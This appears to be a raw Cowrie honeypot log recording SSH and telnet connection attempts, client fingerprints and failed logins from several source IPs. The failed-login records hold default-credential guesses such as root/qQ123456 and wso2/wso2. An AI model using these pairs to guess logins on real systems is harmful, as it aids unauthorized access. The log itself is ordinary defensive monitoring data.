{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:19.486648Z","src_ip":"176.65.132.129","session":"9aee9a855869","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":38504,"dst_ip":"10.17.0.5","dst_port":22,"session":"6988774612a9","protocol":"ssh","message":"New connection: 176.65.132.129:38504 (10.17.0.5:22) [session: 6988774612a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:21.436654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:21.441821Z","src_ip":"176.65.132.129","session":"6988774612a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:21.524401Z","src_ip":"176.65.132.129","session":"6988774612a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"asterisk","password":"asterisk","message":"login attempt [asterisk/asterisk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:21.777928Z","src_ip":"176.65.132.129","session":"6988774612a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.82.147","src_port":56902,"dst_ip":"159.203.135.109","dst_port":23,"session":"50e3692d7230","protocol":"telnet","message":"New connection: 64.227.82.147:56902 (159.203.135.109:23) [session: 50e3692d7230]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:21.806916Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:22.863110Z","src_ip":"176.65.132.129","session":"6988774612a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":36584,"dst_ip":"10.17.0.5","dst_port":23,"session":"71f707acb941","protocol":"telnet","message":"New connection: 45.81.23.16:36584 (10.17.0.5:23) [session: 71f707acb941]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:22.896451Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":36590,"dst_ip":"10.17.0.5","dst_port":23,"session":"add601c530fc","protocol":"telnet","message":"New connection: 45.81.23.16:36590 (10.17.0.5:23) [session: add601c530fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:23.913115Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":36606,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3369650e3b4","protocol":"telnet","message":"New connection: 45.81.23.16:36606 (10.17.0.5:23) [session: a3369650e3b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:24.269804Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":36612,"dst_ip":"10.17.0.5","dst_port":23,"session":"b406aab7f4ce","protocol":"telnet","message":"New connection: 45.81.23.16:36612 (10.17.0.5:23) [session: b406aab7f4ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:24.408246Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":48488,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a26371ec2ff","protocol":"telnet","message":"New connection: 192.211.53.160:48488 (159.203.135.109:23) [session: 1a26371ec2ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:24.940334Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":38526,"dst_ip":"10.17.0.5","dst_port":22,"session":"333c89936624","protocol":"ssh","message":"New connection: 176.65.132.129:38526 (10.17.0.5:22) [session: 333c89936624]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:25.121896Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:25.126687Z","src_ip":"176.65.132.129","session":"333c89936624","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:25.212539Z","src_ip":"176.65.132.129","session":"333c89936624","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qQ123456","message":"login attempt [root/qQ123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:25.462437Z","src_ip":"176.65.132.129","session":"333c89936624","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:26.548227Z","src_ip":"176.65.132.129","session":"333c89936624","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":18.029086351394653,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:27.768362Z","src_ip":"64.227.82.147","session":"7f2b780a39bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47094,"dst_ip":"10.17.0.5","dst_port":22,"session":"3481295f54fe","protocol":"ssh","message":"New connection: 176.65.132.129:47094 (10.17.0.5:22) [session: 3481295f54fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:28.554116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:28.558347Z","src_ip":"176.65.132.129","session":"3481295f54fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:28.641462Z","src_ip":"176.65.132.129","session":"3481295f54fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sinusbot","password":"sinusbot","message":"login attempt [sinusbot/sinusbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:28.892466Z","src_ip":"176.65.132.129","session":"3481295f54fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:29.978169Z","src_ip":"176.65.132.129","session":"3481295f54fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47106,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a5a64cc620c","protocol":"ssh","message":"New connection: 176.65.132.129:47106 (10.17.0.5:22) [session: 3a5a64cc620c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:32.010034Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:32.125180Z","src_ip":"176.65.132.129","session":"3a5a64cc620c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:32.128694Z","src_ip":"176.65.132.129","session":"3a5a64cc620c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.895622968673706,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:32.165321Z","src_ip":"45.81.23.16","session":"a3369650e3b4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"master","password":"master","message":"login attempt [master/master] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:32.529247Z","src_ip":"176.65.132.129","session":"3a5a64cc620c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":9.699946403503418,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:32.596276Z","src_ip":"45.81.23.16","session":"71f707acb941","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.69626498222351,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:33.609282Z","src_ip":"45.81.23.16","session":"add601c530fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:33.613022Z","src_ip":"176.65.132.129","session":"3a5a64cc620c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.480472326278687,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:34.287261Z","src_ip":"64.227.82.147","session":"50e3692d7230","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.10299038887024,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:34.511106Z","src_ip":"45.81.23.16","session":"b406aab7f4ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47120,"dst_ip":"10.17.0.5","dst_port":22,"session":"61a33f0f31dd","protocol":"ssh","message":"New connection: 176.65.132.129:47120 (10.17.0.5:22) [session: 61a33f0f31dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:35.616785Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:35.621308Z","src_ip":"176.65.132.129","session":"61a33f0f31dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:35.703201Z","src_ip":"176.65.132.129","session":"61a33f0f31dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wso2","password":"wso2","message":"login attempt [wso2/wso2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:35.949683Z","src_ip":"176.65.132.129","session":"61a33f0f31dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":65.0177993774414,"message":"Connection lost after 65 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:36.299052Z","src_ip":"64.227.82.147","session":"b9b38879c4ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"86.46.116.252","src_port":60562,"dst_ip":"159.203.135.109","dst_port":23,"session":"2eaff68d66a9","protocol":"telnet","message":"New connection: 86.46.116.252:60562 (159.203.135.109:23) [session: 2eaff68d66a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:36.462566Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:37.063882Z","src_ip":"176.65.132.129","session":"61a33f0f31dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.253.45.10","src_port":48706,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9465dff6d9e","protocol":"ssh","message":"New connection: 46.253.45.10:48706 (10.17.0.5:22) [session: b9465dff6d9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:37.101093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:37.105580Z","src_ip":"46.253.45.10","session":"b9465dff6d9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:37.216963Z","src_ip":"46.253.45.10","session":"b9465dff6d9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1100","message":"login attempt [ubuntu/1100] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:37.697023Z","src_ip":"46.253.45.10","session":"b9465dff6d9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:38.812774Z","src_ip":"46.253.45.10","session":"b9465dff6d9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":59730,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5b5dca6fca6","protocol":"ssh","message":"New connection: 176.65.132.129:59730 (10.17.0.5:22) [session: e5b5dca6fca6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:38.995048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:38.999599Z","src_ip":"176.65.132.129","session":"e5b5dca6fca6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:39.082172Z","src_ip":"176.65.132.129","session":"e5b5dca6fca6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":51746,"dst_ip":"159.203.135.109","dst_port":23,"session":"98e048b1ca5d","protocol":"telnet","message":"New connection: 192.211.53.160:51746 (159.203.135.109:23) [session: 98e048b1ca5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:55:39.228231Z"}
